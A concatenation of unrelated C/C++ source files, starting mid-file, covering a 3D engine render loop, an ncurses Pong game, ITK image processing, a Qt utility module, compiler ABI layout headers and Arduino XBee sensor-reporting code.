= new ZobObjectManager(); int dx = 1; int dy = 1; float r = 0.0f; long frame = 0; float rot = 0.0; char frameCharBuffer[sizeof(ulong)]; int state; m_engine->Start(); } static float rot = 1.0f; int DirectZob::RunAFrame() { int state=0; if(m_engine->Started()) { m_engine->ClearBuffer(&Color::White); m_engine->StartDrawingScene(); Camera* cam = m_cameraManager->GetCurrentCamera(); cam->Update(); m_zobObjectManager->UpdateObjects(); m_engine->WaitForRasterizersEnd(); m_engine->ClearRenderQueues(); clock_t tick = clock(); m_zobObjectManager->DrawObjects(cam, m_engine); if (m_engine->ShowGrid()) { m_engine->DrawGrid(cam); } if (m_text) { snprintf(buffer, MAX_PATH, "Triangles : %lu / %lu", m_engine->GetNbDrawnTriangles(), m_engine->GetNbTriangles()); m_text->Print(0, 0, 1, &std::string(buffer), 0xFFFFFFFF); snprintf(buffer, MAX_PATH, "render : %06.2fms, geom : %06.2f, tot : %06.2f, FPS : %06.2f", m_engine->GetRenderTime(), m_engine->GetGeometryTime(), m_engine->GetFrameTime(), m_engine->GetFps()); float t = m_engine->GetFps(); t = (1.0f / t) * 1000.0f; if (t < TARGET_MS_PER_FRAME) { m_text->Print(0, 16, 1, &std::string(buffer), 0xFF00FF00); Sleep(TARGET_MS_PER_FRAME - t); } else { m_text->Print(0, 16, 1, &std::string(buffer), 0xFFFF0000); } } m_engine->SetGeometryTime((float)(clock() - tick) / CLOCKS_PER_SEC * 1000); m_engine->EndDrawingScene(); } return state; } void DirectZob::LogInfo(const char* str) { DirectZob::singleton->GetEventManager()->AddEvent(Events::LogInfo, str); } void DirectZob::LogError(const char* str) { DirectZob::singleton->GetEventManager()->AddEvent(Events::LogError, str); } void DirectZob::LogWarning(const char* str) { DirectZob::singleton->GetEventManager()->AddEvent(Events::LogWarning, str); }
#pragma once #include "value.h" class cScene; class cFade; class cSceneMgr { private: _SYNTHESIZE_INHER( cScene*, m_pScene, Scene ); _SYNTHESIZE_REF_INHER( float, m_fFade, Fade ); _SYNTHESIZE_REF_INHER( float, m_fFadePlus, FadePlus ); _SYNTHESIZE_INHER( bool, m_IsFade, IsFade ); _SYNTHESIZE_INHER( int, m_nSceneID, ID ); _SYNTHESIZE_INHER( cFade*, m_pFade, FadeObject ); _SYNTHESIZE_INHER( char*, m_pUIName, UIName ); public: void Init(); void Render(); void Update(); public: void ChangeUI(); void ChangeScene( int nID); void ClickButton( char* pName ); void CreateVirusButton( D3DXVECTOR3 vPos, char* pKey ); private: void AssignScene(); public: _SINGLETON( cSceneMgr ); };
#include <ncurses.h> #include <stdlib.h> #include "Player.h" #include "Ball.h" #include "Player2Factory.h" #include "Player2.h" #include <iostream> #include <cstdlib> #include <ctime> using namespace std; //State Definitions static int START_MENU = 0; static int PLAY_GAME = 1; static int UPDATE_SCORE = 2; static int GAME_OVER = 3; int state = 0; int check_game_over; //Variables used int num_players = 0; int bot_diff = 0; int ch; int width = 80; int height = 24; int dir = 1; int player1Points, player2Points = 0; bool quit; char wallTexture, playerTexture; bool player1Serve, player2Serve = false; int paddle_size; Player player1(height / 2, 2); Player2 *player2; Ball ball(height / 2, 3, 1); void setup(); void input(); void logic(); void draw(); void cmove(); void update_score(int x); int game_over(); int main() { srand((unsigned) time(0)); state = START_MENU; if(state == START_MENU) { cout << "Please enter number of players: "; cin >> num_players; //Player2Factory if(num_players == 2) player2 = Player2Factory::choice(2); else if (num_players == 1){ cout << "Please enter 1 for easy AI, or 2 for hard AI: "; cin >> bot_diff; if(bot_diff == 2) bot_diff++; player2 = Player2Factory::choice(bot_diff); } setup(); } // Game loop if(state == PLAY_GAME) { if(num_players == 2) { while(1) { if(quit) { state = GAME_OVER; check_game_over = game_over(); if(!check_game_over) break; } input(); logic(); draw(); } } else if(num_players == 1) { while(1) { if(quit) { state = GAME_OVER; check_game_over = game_over(); if(!check_game_over) break; } input(); logic(); cmove(); draw(); } } } endwin(); return 0; } void setup() { // Textures wallTexture = '@'; // Init ncurses initscr(); cbreak(); noecho(); curs_set(0); keypad(stdscr, TRUE); timeout(50); //General setup functions quit = false; player1Points = 0; player2Points = 0; state = PLAY_GAME; } void input() { if(state == PLAY_GAME) { ch = getch(); switch(ch) { case KEY_UP: if(player2->getY() != 3) player2->setY(player2->getY() - 1); break; case KEY_DOWN: if(player2->getY() != height - 4) player2->setY(player2->getY() + 1); break; case 'w': if(player1.getY() != 3) player1.setY(player1.getY() - 1); break; case 's': if(player1.getY() != height - 4) player1.setY(player1.getY() + 1); break; case ' ': if(player1Serve) { player1Serve = false; dir = 1; } else if(player2Serve) { player2Serve = false; dir = 2; } break; case 'q': quit = true; state = GAME_OVER; break; } } } void cmove() { if(state == PLAY_GAME){ if(dir == 1) { if(ball.getY() > player2->getY()) player2->setY(player2->getY() + 1); else if(ball.getY() < player2->getY()) player2->setY(player2->getY() - 1); } if(dir == 3){ if(ball.getY() > player2->getY()) player2->setY(player2->getY() + 1); else if(ball.getY() < player2->getY()) player2->setY(player2->getY() - 1); } if(dir == 4){ if(ball.getY() > player2->getY()) player2->setY(player2->getY() + 1); else if(ball.getY() < player2->getY()) player2->setY(player2->getY() - 1); } } } void logic() { if(state == PLAY_GAME) { /* * Ball directions * * 1 - Right * 2 - Left * 3 - Right Up * 4 - Right down * 5 - Left Up * 6 - Left down * */ // Ball logic if(ball.getX() == player1.getX() + 1 || ball.getX() == player1.getX()) { if(ball.getY() <= player1.getY() + 2 && ball.getY() >= player1.getY() - 2) { if(ball.getY() >= player1.getY() - 2 && ball.getY() < player1.getY()) dir = 3; else if(ball.getY() <= player1.getY() + 2 && ball.getY() > player1.getY()) dir = 4; else dir = 1; } } if(ball.getX() == player2->getX() - 1 || ball.getX() == player2->getX()) { if(ball.getY() <= player2->getY() + 2 && ball.getY() >= player2->getY() - 2) { if (ball.getY() >= player2->getY() - 2 && ball.getY() < player2->getY()) dir = 5; else if (ball.getY() <= player2->getY() + 2 && ball.getY() > player2->getY()) dir = 6; else dir = 2; } } if(ball.getY() == height - 2) { if (dir == 6) dir = 5; else dir = 3; } if(ball.getY() == 1) { if(dir == 5) dir = 6; else dir = 4; } if(ball.getX() == 0) { state = UPDATE_SCORE; update_score(1); } if(ball.getX() == width) { state = UPDATE_SCORE; update_score(2); } if(player1Serve) { ball.setX(player1.getX() + 1); ball.setY(player1.getY()); } if(player2Serve) { ball.setX(player2->getX() - 1); ball.setY(player2->getY()); } // Ball directions if(!player1Serve || !player2Serve) { if(dir == 1) ball.setX(ball.getX() + 1); if(dir == 2) ball.setX(ball.getX() - 1); if(dir == 3) { ball.setX(ball.getX() + 1); ball.setY(ball.getY() - 0.25); } if(dir == 4) { ball.setX(ball.getX() + 1); ball.setY(ball.getY() + 0.25); } if(dir == 5) { ball.setX(ball.getX() - 1); ball.setY(ball.getY() - 0.25); } if(dir == 6) { ball.setX(ball.getX() - 1); ball.setY(ball.getY() + 0.25); } } } } void draw() { //Cannot put this function into a state, because it caused issues with the UI //Function to draw everything erase(); refresh(); //Fill wall textures for(int i = 0; i < width; i++) { mvaddch(0, i, wallTexture); mvaddch(height - 1, i, wallTexture); } //Draw center line for(int i = 1; i < height - 1; i++) mvaddch(i, width / 2, ':'); //Display points mvprintw(1, width / 2 / 2, "%i", player1Points); mvprintw(1, width / 2 + width / 2 / 2, "%i", player2Points); //Draw ball ball.drawBall(ball.getY(), ball.getX()); player1.drawPlayer(player1.getY(), player1.getX()); player2->drawPlayer(player2->getY(), player2->getX()); } void update_score(int x) { //Function to update score //Use states to ensure it is correct before updated if(state == UPDATE_SCORE) { if(x == 1) { player2Points++; player1Serve = true; } else if (x == 2) { player1Points++; player2Serve = true; } state = PLAY_GAME; } else cout << "Game is still going on, will not update score" << endl; } int game_over() { //Function to display game over screen if(state == GAME_OVER) { int gameover; cout << "\tGame Over!" << endl; cout << "Would you like to play again? (1 yes, 0 no, then hit enter)"; cin >> gameover; if(gameover){ state = PLAY_GAME; quit = false; player1Serve = true; player2Serve = false; setup(); return 1; } else if (!gameover) return 0; } else cout << "state is not in GAME_OVER" << endl; cout << "Error detected, quitting" << endl; return 0; }
#include "ResursaEconomica.h" #include <iostream> #include "Date.h" using namespace std; void ResursaEconomica::print(ostream& os, ResursaEconomica& re) const { os << "Nume: " << re.nume << endl; os << "Data intrarii in companie: " << re.data << endl; os << "Valoare: " << re.valoare << endl; } void ResursaEconomica::read(istream& is, ResursaEconomica& re) const { cout << "Nume/Data intrarii in companie/Valoare" << endl; is >> re.nume >> re.data >> re.valoare; } ResursaEconomica::ResursaEconomica() { this->nume = ""; this->data = Date(1, 1, 0000); this->valoare = 0; } ResursaEconomica::ResursaEconomica(const ResursaEconomica& b) { this->nume = b.nume; this->data = b.data; this->valoare = b.valoare; } ResursaEconomica::~ResursaEconomica() { this->nume.~basic_string(); } ResursaEconomica& ResursaEconomica::operator=(const ResursaEconomica& b) { if (this != &b) { this->nume = b.nume; this->data = b.data; this->valoare = b.valoare; } return *this; } void ResursaEconomica::setNume(string nume) { this->nume = nume; } string ResursaEconomica::getNume() { return this->nume; } void ResursaEconomica::setDate(Date date) { this->data = date; } Date ResursaEconomica::getDate() { return this->data; } void ResursaEconomica::setValoare(double valoare) { this->valoare = valoare; } double ResursaEconomica::getValoare() { return this->valoare; } ostream& operator<<(ostream& os, ResursaEconomica& b) { b.print(os, b); return os; } istream& operator>>(istream& is, ResursaEconomica& b) { b.read(is, b); return is; }
#include "tinyxml.h" #include <iostream> #include <sstream> #include <string> #include "itkImage.h" #include "itkImageFileReader.h" #include "itkImageFileWriter.h" #include "itkImageDuplicator.h" #include "itkImageRegionIterator.h" #define _USE_MATH_DEFINES int main(int argc, char *argv[]) { if(argc != 2) { std::cout << "-------------------------------" << std::endl; std::cout << "RemoveFidsDTLeakage " << std::endl; std::cout << "-------------------------------" << std::endl; std::cout << "This tool can be used a postprocessing for fids distance trasnform to fix voxels that are mis-signed as in or out of the isosurface in fids computation (mainly due to irregular triangulation " << std::endl; std::cout << "It uses a parameter file with the following tags" << std::endl; std::cout << "\t - fids_dist: a list of distance transforms computed via fids" << std::endl; std::cout << "\t - approx_dist: the corresponding approximate distances (from rasterization then dt computation)" << std::endl; std::cout << "\t - out_dist: output distance transform filenames" << std::endl; std::cout << "Usage: " << argv[0] << " parameter file" << std::endl; return EXIT_FAILURE; } typedef float PixelType; typedef itk::Image< PixelType, 3 > ImageType; typedef itk::ImageFileReader< ImageType > ReaderType; typedef itk::ImageFileWriter< ImageType > WriterType; TiXmlDocument doc(argv[1]); bool loadOkay = doc.LoadFile(); TiXmlHandle docHandle( &doc ); TiXmlElement *elem; std::istringstream inputsBuffer; bool withFids = false; // if false use kdtree instead, std::vector< std::string > fidsDistFilename; std::vector< std::string > approxDistFilename; std::vector< std::string > outDistFilename; std::string tmpString; elem = docHandle.FirstChild( "fids_dist" ).Element(); if (!elem) { std::cerr << "No fids_dist files have been specified" << std::endl; throw 1; } else { fidsDistFilename.clear(); inputsBuffer.str(elem->GetText()); while (inputsBuffer >> tmpString) { fidsDistFilename.push_back(tmpString); } inputsBuffer.clear(); inputsBuffer.str(""); } elem = docHandle.FirstChild( "approx_dist" ).Element(); if (!elem) { std::cerr << "No approx_dist files have been specified" << std::endl; throw 1; } else { approxDistFilename.clear(); inputsBuffer.str(elem->GetText()); while (inputsBuffer >> tmpString) { approxDistFilename.push_back(tmpString); } inputsBuffer.clear(); inputsBuffer.str(""); } elem = docHandle.FirstChild( "out_dist" ).Element(); if (!elem) { std::cerr << "No out_dist files have been specified" << std::endl; throw 1; } else { outDistFilename.clear(); inputsBuffer.str(elem->GetText()); while (inputsBuffer >> tmpString) { outDistFilename.push_back(tmpString); } inputsBuffer.clear(); inputsBuffer.str(""); } int numShapes = fidsDistFilename.size(); for (unsigned int shCount = 0; shCount < numShapes; shCount++) { std::cout << "Reading fids DT File: " << fidsDistFilename[shCount] << std::endl; ReaderType::Pointer reader = ReaderType::New(); reader->SetFileName( fidsDistFilename[shCount].c_str() ); reader->Update(); reader->UpdateLargestPossibleRegion(); ImageType::Pointer fidsDist = reader->GetOutput(); std::cout << "Reading approximate DT File: " << approxDistFilename[shCount] << std::endl; ReaderType::Pointer reader2 = ReaderType::New(); reader2->SetFileName( approxDistFilename[shCount].c_str() ); reader2->Update(); reader2->UpdateLargestPossibleRegion(); ImageType::Pointer approxDist = reader2->GetOutput(); // copying fids distance to output distance typedef itk::ImageDuplicator< ImageType > DuplicatorType; DuplicatorType::Pointer duplicator = DuplicatorType::New(); duplicator->SetInputImage(fidsDist); duplicator->Update(); ImageType::Pointer outDist = duplicator->GetOutput(); //ImageType::Pointer outDist = ImageType::New(); //outDist->SetRegions(fidsDist->GetLargestPossibleRegion()); //outDist->Allocate(); itk::ImageRegionConstIterator<ImageType> fidsIterator(fidsDist, fidsDist->GetLargestPossibleRegion()); itk::ImageRegionConstIterator<ImageType> approxIterator(approxDist, approxDist->GetLargestPossibleRegion()); itk::ImageRegionIterator<ImageType> outIterator(outDist, outDist->GetLargestPossibleRegion()); std::cout << "Fixing fids distance transform ...." << std::endl; while(!fidsIterator.IsAtEnd()) { float fidsVal = fidsIterator.Get(); float approxVal = approxIterator.Get(); if (fabs(fidsVal) > 0.1) // fudge region around the isosurface { if (fidsVal * approxVal < 0) // opposite sign { std::cout << "fixing fids sign ..." << std::endl << std::flush; //outIterator.Set(approxVal); outIterator.Set(-fidsVal); } //else // outIterator.Set(fidsVal); } ++fidsIterator; ++approxIterator; ++outIterator; } std::cout << "Writing: " << outDistFilename[shCount] << std::endl; WriterType::Pointer writer = WriterType::New(); writer->SetInput( outDist ); writer->SetFileName( outDistFilename[shCount].c_str() ); writer->Update(); } return EXIT_SUCCESS; }
#pragma once //PaintHighLightVisitor.h #ifndef _PAINTHIGHLIGHTVISITOR_H #define _PAINTHIGHLIGHTVISITOR_H #include "Visitor.h" typedef signed long int Long; class CDC; class HighLight; class PaintHighLightVisitor :public Visitor { public: PaintHighLightVisitor(CDC *dc, HighLight *selectedBuffer, Long xPosition, Long yPosition); PaintHighLightVisitor(const PaintHighLightVisitor& source); virtual ~PaintHighLightVisitor(); PaintHighLightVisitor& operator=(const PaintHighLightVisitor& source); virtual void Visit(Note *note); virtual void Visit(Page *page); virtual void Visit(Memo *memo); virtual void Visit(Line *line); virtual void Visit(Character *character); virtual void Visit(SingleCharacter *singleCharacter); virtual void Visit(DoubleCharacter *doubleCharacter); CDC* GetDC() const; Long GetXPosition() const; Long GetYPosition() const; private: CDC *dc; Long xPosition; Long yPosition; }; inline CDC* PaintHighLightVisitor::GetDC() const { return const_cast<CDC*>(this->dc); } inline Long PaintHighLightVisitor::GetXPosition() const { return this->xPosition; } inline Long PaintHighLightVisitor::GetYPosition() const { return this->yPosition; } #endif //_PAINTHIGHLIGHTVISITOR_H
#include <sstream> #include <stack> #include <string> class Solution { public: std::string simplifyPath(std::string path) { std::stringstream ss(path); std::string str; std::stack<std::string> sta; while (getline(ss, str, '/')) { if (str == "" || str == ".") { continue; } else if (str == "..") { if (!sta.empty()) sta.pop(); } else { sta.push(str); } } std::string res; if (sta.empty()) res = "/"; while (!sta.empty()) { res = "/" + sta.top() + res; sta.pop(); } return res; } };
///////////////////////////////////////////////// #include "ulity.h" #include "stdio.h" #include "string.h" #include "assert.h" #include <QString> #include <QApplication> bool isValidUseString(QString& str) { if (str.isEmpty()) return false; int nLen = str.length(); if (nLen <= 0) return false; #if 1 for(int i = 0; i < nLen; i++) { if(str.at(i).toLatin1() == 47 || str.at(i).toLatin1() == 92 || str.at(i).toLatin1() == 19 || str.at(i).toLatin1() == 16) return false; } return true; #else if (first >= '0' && first <= '9') return true; if (first >= 'A' && first <= 'Z') return true; if (first >= 'a' && first <= 'z') return true; return false; #endif } int writeQfile(QFile& file, char* buffer, int nlen) { int nwritelen = 0; while(nwritelen < nlen) { int nRes = file.write(buffer+nwritelen, nlen-nwritelen); if (nRes == -1) return -1; nwritelen += nRes; } file.flush(); // fdatasync(file.handle()); return 0; } bool copyUtf8(char* szBuf, QString& str, int nbufLen) { QByteArray bytetest = str.toUtf8(); if (bytetest.isEmpty() || bytetest.isNull()) return false; strncpy(szBuf, bytetest.data(), nbufLen); szBuf[nbufLen-1] = 0; return true; } std::string qStringToUtf8(QString& str) { QByteArray bytetest = str.toUtf8(); if (bytetest.isEmpty() || bytetest.isNull()) return std::string(""); return std::string(bytetest.data()); } int g_oldfontsize = 0; int g_nspanfontsize = 0; int g_nnewfontsize= 0; float g_fontscale = 0; void jFitInitFont(int nnewsize){ QFont font = qApp->font(); g_oldfontsize = font.pointSize(); if (g_oldfontsize > 10) g_oldfontsize = 10; font.setPointSize(nnewsize); #ifdef NV_FIT_SZIE qApp->setFont(font); #endif g_nnewfontsize = nnewsize; g_nspanfontsize = nnewsize- g_oldfontsize; g_fontscale = (float)nnewsize/(float)g_oldfontsize; printf("nnewsize = %d, g_oldfontsize=%d\n", nnewsize, g_oldfontsize); } void jFitInitX(int /*nX*/){ } void jFitInitY(int /*nY*/){ } #ifdef NV_FIT_SZIE int jFitFont(int nsize){ return g_fontscale*nsize; } int jFitX(int nX){ return g_fontscale*nX; } int jFitY(int nY){ return g_fontscale*nY; } void jfitWidget(QWidget* widget){ QRect rcframe = widget->geometry(); int nwidth = jFitX(rcframe.width()); int nheight = jFitY(rcframe.height()); int nleft = jFitX(rcframe.left()); int ntop =jFitY(rcframe.top()); rcframe.setLeft(nleft); rcframe.setTop(ntop); rcframe.setWidth(nwidth); rcframe.setHeight(nheight); widget->setGeometry(rcframe); } #endif
#ifndef ROSE_ABISTUFF_H #define ROSE_ABISTUFF_H #include <vector> #include <string> #include <iosfwd> //! Support for cross compilation or extended UPC support /*! UPC data type sizes depend on a specified runtime implementation, * So we allow users to optionally provide customized sizes and alignments. */ struct StructCustomizedSizes { // optional values like x86, x86-64, ia64, sparcv9, sparcv8 etc. std::string str_abi; //Primitive types: redundant if ABI is specified. size_t sz_bool; size_t sz_alignof_bool; size_t sz_char; size_t sz_alignof_char; size_t sz_int; size_t sz_alignof_int; size_t sz_short; size_t sz_alignof_short; size_t sz_long; size_t sz_alignof_long; size_t sz_longlong; size_t sz_alignof_longlong; size_t sz_float; size_t sz_alignof_float; size_t sz_double; size_t sz_alignof_double; size_t sz_longdouble; size_t sz_alignof_longdouble; size_t sz_pointer; // memory handle size_t sz_alignof_pointer; size_t sz_reference; size_t sz_alignof_reference; //Extended types beyond ABI's scope size_t sz_void_ptr; size_t sz_alignof_void_ptr; size_t sz_ptrdiff_t; size_t sz_alignof_ptrdiff_t; size_t sz_size_t; size_t sz_alignof_size_t; size_t sz_wchar; size_t sz_alignof_wchar; //UPC specified sizes size_t sz_shared_ptr; size_t sz_alignof_shared_ptr; size_t sz_pshared_ptr; size_t sz_alignof_pshared_ptr; size_t sz_mem_handle; size_t sz_alignof_mem_handle; size_t sz_reg_handle; size_t sz_alignof_reg_handle; size_t sz_alignof_dbl_1st; size_t sz_alignof_int64_1st; size_t sz_alignof_sharedptr_1st ; size_t sz_alignof_psharedptr_1st ; size_t sz_alignof_dbl_innerstruct; size_t sz_alignof_int64_innerstruct; size_t sz_alignof_sharedptr_innerstruct ; size_t sz_alignof_psharedptr_innerstruct; size_t sz_maxblocksz; }; struct StructLayoutEntry { //! If a SgInitializedName, the field represented by this entry //! If a SgClassDeclaration, the anonymous union represented by this entry //! If a SgBaseClass, the base class represented by this entry //! If NULL, this entry is padding SgNode* decl; //! The byte offset of this field (or its containing word for bit fields) in //! the structure size_t byteOffset; //! The size of the field or padding size_t fieldSize; //! The size of the containing element for this bit field (in bytes) size_t bitFieldContainerSize; //! Offset of LSB of bit field within element of size bitFieldContainerSize //! starting at position byteOffset in the struct size_t bitOffset; StructLayoutEntry(SgNode* decl, size_t byteOffset, size_t fieldSize, size_t bitFieldContainerSize = 0, size_t bitOffset = 0): decl(decl), byteOffset(byteOffset), fieldSize(fieldSize), bitFieldContainerSize(bitFieldContainerSize), bitOffset(bitOffset) {} }; struct StructLayoutInfo { //! Size of this struct or union in bytes size_t size; //! Alignment of this struct or union in bytes size_t alignment; //! Fields, empty for non-compound types std::vector<StructLayoutEntry> fields; StructLayoutInfo(): size(0), alignment(0), fields() {} }; std::ostream& operator<<(std::ostream& o, const StructLayoutEntry& e); std::ostream& operator<<(std::ostream& o, const StructLayoutInfo& i); //! Basic type layout engine -- handles bookkeeping, plus handing typedefs and // modifiers class ChainableTypeLayoutGenerator { public: virtual ~ChainableTypeLayoutGenerator() {} ChainableTypeLayoutGenerator* next; ChainableTypeLayoutGenerator* beginning; StructCustomizedSizes* custom_sizes; ChainableTypeLayoutGenerator(ChainableTypeLayoutGenerator* nx, StructCustomizedSizes* sizes=NULL) #ifdef _MSC_VER : next(NULL), beginning(NULL), custom_sizes(sizes) { // DQ (11/27/2009): MSVC reports a warning when "this" is used in the preinitialization list. beginning = this; this->setNext(nx); } #else : next(NULL), beginning(this), custom_sizes(sizes) { this->setNext(nx); } #endif protected: void setNext(ChainableTypeLayoutGenerator* nx) { this->next = nx; if (nx) nx->setBeginningRecursively(this->beginning); } void setBeginningRecursively(ChainableTypeLayoutGenerator* bg) { this->beginning = bg; if (this->next) this->next->setBeginningRecursively(bg); } public: virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Layout generator for i386 ABI-like struct layout // Handles structs and unions only // Does not handle C++ stuff (inheritance, virtual functions) for now class NonpackedTypeLayoutGenerator: public ChainableTypeLayoutGenerator { public: NonpackedTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : ChainableTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; private: void layoutOneField(SgType* fieldType, SgNode* decl, bool isUnion /* Is type being laid out a union? */, size_t& currentOffset, StructLayoutInfo& layout) const; }; //! Layout generator for i386 primitive types class I386PrimitiveTypeLayoutGenerator: public ChainableTypeLayoutGenerator { public: I386PrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : ChainableTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Slight modification for Visual Studio -- doubles are 8-byte aligned class I386_VSPrimitiveTypeLayoutGenerator: public I386PrimitiveTypeLayoutGenerator { public: I386_VSPrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : I386PrimitiveTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Layout generator for x86-64 primitive types class X86_64PrimitiveTypeLayoutGenerator: public ChainableTypeLayoutGenerator { public: X86_64PrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : ChainableTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Slight modification for Visual Studio -- long is 4 bytes, not 8 class X86_64_VSPrimitiveTypeLayoutGenerator: public X86_64PrimitiveTypeLayoutGenerator { public: X86_64_VSPrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : X86_64PrimitiveTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Layout generator for the native system (uses sizeof) class SystemPrimitiveTypeLayoutGenerator: public ChainableTypeLayoutGenerator { public: SystemPrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next) : ChainableTypeLayoutGenerator(next) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; //! Layout generator for customized primitive types, mostly for UPC relying on Berkeley runtime library now class CustomizedPrimitiveTypeLayoutGenerator: public ChainableTypeLayoutGenerator { public: CustomizedPrimitiveTypeLayoutGenerator(ChainableTypeLayoutGenerator* next,StructCustomizedSizes* custom_sizes) : ChainableTypeLayoutGenerator(next,custom_sizes) {} virtual StructLayoutInfo layoutType(SgType* t) const; }; #endif // ROSE_ABISTUFF_H
#ifndef FUNCMGR_H #define FUNCMGR_H /// @file FuncMgr.h /// @brief FuncMgr のヘッダファイル /// @author Yusuke Matsunaga (松永 裕介) /// /// Copyright (C) 2005-2012, 2014 Yusuke Matsunaga /// All rights reserved. #include "YmLogic/TvFunc.h" #include "YmUtils/IDO.h" #include "YmUtils/ODO.h" BEGIN_NAMESPACE_YM ////////////////////////////////////////////////////////////////////// /// @class FuncMgr FuncMgr.h "FuncMgr.h" /// @brief 論理関数を管理するためのクラス ////////////////////////////////////////////////////////////////////// class FuncMgr { public: /// @brief コンストラクタ FuncMgr(); /// @brief デストラクタ ~FuncMgr(); public: ////////////////////////////////////////////////////////////////////// // 外部インターフェイス ////////////////////////////////////////////////////////////////////// /// @brief 内容をクリアする. void clear(); /// @brief 関数を登録する. /// @note すでに登録されていたらなにもしない. void reg_func(const TvFunc& f); /// @brief マージする. /// @param[in] src マージする他のマネージャ void merge(const FuncMgr& src); /// @brief 代表関数のリストを取り出す. void func_list(vector<TvFunc>& func_list) const; /// @brief 指定された入力数の代表関数のリストを取り出す. void func_list(ymuint ni, vector<TvFunc>& func_list) const; public: ////////////////////////////////////////////////////////////////////// // バイナリダンプ ////////////////////////////////////////////////////////////////////// /// @brief 内容をバイナリダンプする. /// @param[in] s 出力先のストリーム void dump(ODO& s) const; /// @brief バイナリダンプされたファイルを読み込む. void restore(IDO& s); private: ////////////////////////////////////////////////////////////////////// // データメンバ ////////////////////////////////////////////////////////////////////// typedef unordered_set<TvFunc> FuncSet; // 代表関数のハッシュ FuncSet mRepHash; }; END_NAMESPACE_YM #endif // FUNCMGR_H
/* Input-side (button) Arduino code */ #include <stdlib.h> #include <dht.h> //// library for Temp/Humidity Sensor #include <avr/wdt.h> // library for default watchdog functions #include <avr/interrupt.h> // library for interrupts handling #include <avr/sleep.h> // library for sleep #include <avr/power.h> #define DHT11_PIN 7 // connect to Temp/Humidity Sensor #define RELAY_PIN 4 // Pin to switch on/off sensorss #define SLEEP_PIN 5 // Connect to DTR on XBee adapter // RX: Arduino pin 2, XBee pin DOUT. // TX: Arduino pin 3, XBee pin DIN SoftwareSerial XBee(2, 3); dht DHT; int count = 0; int nbr_remaining; // interrupt from watchdog ISR(WDT_vect) { wdt_reset(); } void configure_wdt(void) { cli(); // disable interrupts MCUSR = 0; WDTCSR |= 0b00011000; WDTCSR = 0b01000000 | 0b100001; // delay interval 8 sec sei(); //enable interrupts } void sleep(int ncycles) { nbr_remaining = ncycles; // defines how many cycles should sleep set_sleep_mode(SLEEP_MODE_PWR_DOWN); power_adc_disable(); while (nbr_remaining > 0){ sleep_mode(); // CPU is now asleep and program execution completely halts! // Once awake, execution will resume at this point if the // watchdog is configured for resume rather than restart // When awake, disable sleep mode sleep_disable(); // we have slept one time more nbr_remaining = nbr_remaining - 1; } // put everything on again power_all_enable(); } void setup() { pinMode(RELAY_PIN, OUTPUT); pinMode(SLEEP_PIN, OUTPUT); pinMode(3, OUTPUT); Serial.begin(9600); // Baud rate MUST match XBee settings (as set in XCTU) XBee.begin(9600); delay(1000); // configure the watchdog configure_wdt(); Serial.println("Reset"); } void loop() { Serial.println("Wake"); digitalWrite(RELAY_PIN, HIGH); digitalWrite(SLEEP_PIN, LOW); delay(2000); int chk = DHT.read11(DHT11_PIN); delay(2000); chk = DHT.read11(DHT11_PIN); char result[100]; char tempBuffer[20]; char humBuffer[20]; Serial.println(DHT.temperature); Serial.println(DHT.humidity); double temp = DHT.temperature;///1.7; //3.3v adustment int hum = DHT.humidity; dtostrf(temp, 1+3, 1, tempBuffer); dtostrf(hum, 1+3, 1, humBuffer); Serial.println(DHT.humidity); sprintf(result, "Temp: %s'C, Humidity: %s%%, Index:", tempBuffer, humBuffer); sending(result); delay(50); Serial.println("Sleeping"); digitalWrite(SLEEP_PIN, HIGH); digitalWrite(3, LOW); digitalWrite(7, LOW); delay(1000); digitalWrite(RELAY_PIN, LOW); sleep(5); } uint16_t fletcher16(const uint8_t *data, size_t len) { uint16_t sum1 = 0; uint16_t sum2 = 0; int index; for( index = 0; index < len; ++index ) { sum1 = (sum1 + data[index]) % 255; sum2 = (sum2 + sum1) % 255; } return (sum2 << 8) | sum1; } char* concat(const char *s1, const char *s2) { char *result = malloc(strlen(s1) + strlen(s2) + 1); // +1 for the null-terminator // in real code you will need to check for errors in malloc here strcpy(result, s1); strcat(result, s2); return result; } char* concatCheckSum(const char *s1, uint16_t sum) { int len = strlen(s1) + 6; char *result = malloc(len); // +1 for the null-terminator sprintf(result, "%s%x%04x", s1, (count & 0xF), sum); return result; } void sending(uint8_t data[]) { boolean notSend = true; while (notSend){ digitalWrite(SLEEP_PIN, LOW); char test[10]; sprintf(test, "%d", count); char* dataT = concat(&data[0], &test[0]); uint16_t sum16 = fletcher16(dataT, strlen(dataT)); char* sendT = concatCheckSum(dataT, sum16); Serial.print("Sending\n"); XBee.write(sendT); Serial.println(sendT); Serial.println(sum16); free(dataT); int waitTime = 0; String input = ""; bool loading = true; delay(5000); // Short waiting time for repsonse while (loading) { while (XBee.available()) { input += (char) XBee.read(); if (input == "") { break; } if(input == "OK") { Serial.print(input+"\n"); loading = false; notSend = false; break; } } if(loading && waitTime<30000) { waitTime++; } else { loading = false; Serial.print("Stop Reading\n"); } } free(sendT); input=""; if(notSend) delay(5000); else { count++; if (count > 99) { count = 0; } } } }
